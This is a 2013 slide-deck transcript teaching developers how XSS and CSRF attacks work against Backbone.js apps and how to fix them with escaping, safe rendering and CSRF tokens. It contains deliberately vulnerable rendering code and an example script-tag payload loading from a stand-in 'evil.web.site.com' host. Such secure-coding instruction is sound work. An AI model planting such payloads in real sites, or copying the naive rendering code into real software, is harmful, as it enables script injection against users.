Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Securing JavaScript Web Applications

Securing JavaScript Web Applications

Stephen Thomas

June 17, 2013
Tweet

More Decks by Stephen Thomas

Other Decks in Technology

Transcript

  1. [email protected]
    icon-comment
    icon-comment-alt
    icon-comments
    icon-comments-alt
    icon-credit-card
    icon-dashboard
    icon-download
    icon-download-alt
    icon-edit
    icon-envelope
    icon-envelope-alt
    icon-key
    icon-leaf
    icon-legal
    icon-lemon
    icon-lock
    icon-unlock
    icon-magic
    icon-magnet
    icon-map-marker
    icon-minus
    icon-minus-sign
    icon-resize-horiz
    icon-resize-verti
    icon-retweet
    icon-road
    icon-rss
    icon-screenshot
    icon-search
    icon-share
    icon-share-alt
    icon-shopping-c
    http://speakerdeck.com/sathomas
    icon-paper-clip icon-indent-right icon-tab
    Directional Icons
    icon-arrow-down
    icon-arrow-left
    icon-arrow-right
    icon-arrow-up
    icon-chevron-down
    icon-circle-arrow-down
    icon-circle-arrow-left
    icon-circle-arrow-right
    icon-circle-arrow-up
    icon-chevron-left
    icon-car
    icon-car
    icon-car
    icon-car
    icon-ch
    Video Player Icons
    icon-play-circle
    icon-play
    icon-step-backward
    icon-fast-backward
    icon-fas
    icon-ste
    Securing JavaScript
    Web Applications
    Stephen Thomas

    View Slide

  2. Most Common Attacks
    on Web Applications
    1. Cross Site Scripting (XSS)
    2. Cross Site Request Forgery (CSRF)
    (both are based on JavaScript)
    Source: Computer Weekly (quoting FireHost)

    View Slide

  3. Cross Site Scripting
    (What you think)
    your.web.app.com
    victim great content

    View Slide

  4. your.web.app.com
    victim great content
    + attack script
    evil.web.site.com
    1
    2
    Cross Site Scripting
    (Reality)

    View Slide

  5. The Vulnerability:
    User Supplied Content
    I like your post.
    Comment:
    Submit

    View Slide

  6. Naively Collect Content
    var NewCommentView = Backbone.View.extend({
    ...
    events: {
    "click button": "save"
    },
    save: function(ev){
    ev.preventDefault();
    var newComment = this.$('input[name=comment]').val();
    this.model.save({newComment: newComment});
    },
    ...
    });

    View Slide

  7. Naively Render Content
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%= comment %>'),
    render: function(){
    this.$el.html(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  8. The Attack
    I like your post.
    <br/>
    Comment:
    Submit

    View Slide

  9. Naively Collect Content
    (including the script tag)
    var NewCommentView = Backbone.View.extend({
    ...
    events: {
    "click button": "save"
    },
    save: function(ev){
    ev.preventDefault();
    var newComment = this.$('input[name=comment]').val();
    this.model.save({newComment: newComment});
    },
    ...
    });

    View Slide

  10. Deliver the Content
    your.web.app.com
    victim great content
    + attack script
    1

    View Slide

  11. Naively Render Content
    (including the script tag)
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%= comment %>'),
    render: function(){
    this.$el.html(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  12. your.web.app.com
    victim great content
    + attack script
    evil.web.site.com
    1
    2
    Cross Site Scripting

    View Slide

  13. The Fix:
    Turn Bad Content
    I like your post!
    <br/>

    View Slide

  14. The Fix:
    Into Safe Content
    I like your post!
    <script src="http://evil.web.site.com/
    badscript.js">
    </script>

    View Slide

  15. Escape on Input
    var NewCommentView = Backbone.View.extend({
    ...
    events: {
    "click button": "save"
    },
    save: function(ev){
    ev.preventDefault();
    var newComment = _.escape(
    this.$('input[name=comment]').val()
    );
    this.model.save({newComment: newComment});
    },
    ...
    });

    View Slide

  16. Escape on Input
    var NewCommentView = Backbone.View.extend({
    ...
    events: {
    "click button": "save"
    },
    save: function(ev){
    ev.preventDefault();
    var newComment = _.escape(
    this.$('input[name=comment]').val()
    );
    this.model.save({newComment: newComment});
    },
    ...
    });

    View Slide

  17. Naively Render Content
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%= comment %>'),
    render: function(){
    this.$el.html(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  18. Naively Render Content
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%= comment %>'),
    render: function(){
    this.$el.html(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  19. Safely Render Content
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%= comment %>'),
    render: function(){
    this.$el.text(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  20. Naively Render Content
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%= comment %>'),
    render: function(){
    this.$el.html(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  21. Naively Render Content
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%= comment %>'),
    render: function(){
    this.$el.html(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  22. Safely Render Content
    var CommentView = Backbone.View.extend({
    ...
    template: _.template('<%- comment %>'),
    render: function(){
    this.$el.html(this.template(this.model.toJSON()));
    },
    ...
    });

    View Slide

  23. Cross Site Request Forgery
    (What you think)
    your.web.app.com
    suspicious.web.site.com

    View Slide

  24. your.web.app.com
    suspicious.web.site.com
    Cross Site Request Forgery
    (Reality)

    View Slide

  25. • JavaScript code loaded from
    suspicious.web.site.com can issue AJAX
    requests to your.web.app.com
    • If the user has a tab or window open to
    your.web.app.com, those AJAX requests will
    include your session authorization cookies.
    • Your server will think they’re legitimate
    requests and respond accordingly.
    The Vulnerability:
    AJAX Requests

    View Slide

  26. The Fix:
    Synchronization Tokens
    setcookie("X-CSRF-Token", sha1(rand()));
    echo file_get_contents( "index.html" );
    ?>
    • Server sends an additional cookie that is
    set to a random value.

    View Slide

  27. The Fix:
    Synchronization Tokens
    var csrf = readCookie("X-CSRF-Token");
    if (csrf) {
    myApp.originalSync = Backbone.sync;
    Backbone.sync = function(method, model, options) {
    options || (options = {});
    options.headers = { "X-CSRF-Token": csrf };
    return myApp.originalSync(method,model,options);
    };
    }

    View Slide

  28. The Fix:
    Synchronization Tokens
    var csrf = readCookie("X-CSRF-Token");
    if (csrf) {
    myApp.originalSync = Backbone.sync;
    Backbone.sync = function(method, model, options) {
    options || (options = {});
    options.headers = { "X-CSRF-Token": csrf };
    return myApp.originalSync(method,model,options);
    };
    }
    • Client reads the value of this special
    cookie.

    View Slide

  29. The Fix:
    Synchronization Tokens
    var csrf = readCookie("X-CSRF-Token");
    if (csrf) {
    myApp.originalSync = Backbone.sync;
    Backbone.sync = function(method, model, options) {
    options || (options = {});
    options.headers = { "X-CSRF-Token": csrf };
    return myApp.originalSync(method,model,options);
    };
    }
    • Client returns the value as a custom
    HTTP header.

    View Slide

  30. The Fix:
    Synchronization Tokens
    if ($_SERVER['HTTP_X_CSRF_TOKEN'] !=
    $_COOKIE['X-CSRF-Token']) {
    header('Status: 403 Forbidden');
    exit();
    }
    /* process request normally */
    ?>
    • Server makes sure custom HTTP header
    is present and matches the cookie.

    View Slide

  31. Why Do Synchronization
    Tokens Work?
    Even though AJAX requests that
    suspicious.web.site.com makes to
    your.web.app.com will include your
    cookies, Javascript code from
    suspicious.web.site.com cannot read the
    values of those cookies. It cannot,
    therefore, set the custom HTTP header
    values for which your server is checking.

    View Slide

  32. Single Page Web Apps
    • Don’t re-learn old lessons the hard way.
    • Protect against JavaScript-based attacks
    such as XSS and CSRF.
    • Oh yeah, protect against other attacks
    (SQL Injection) also.

    View Slide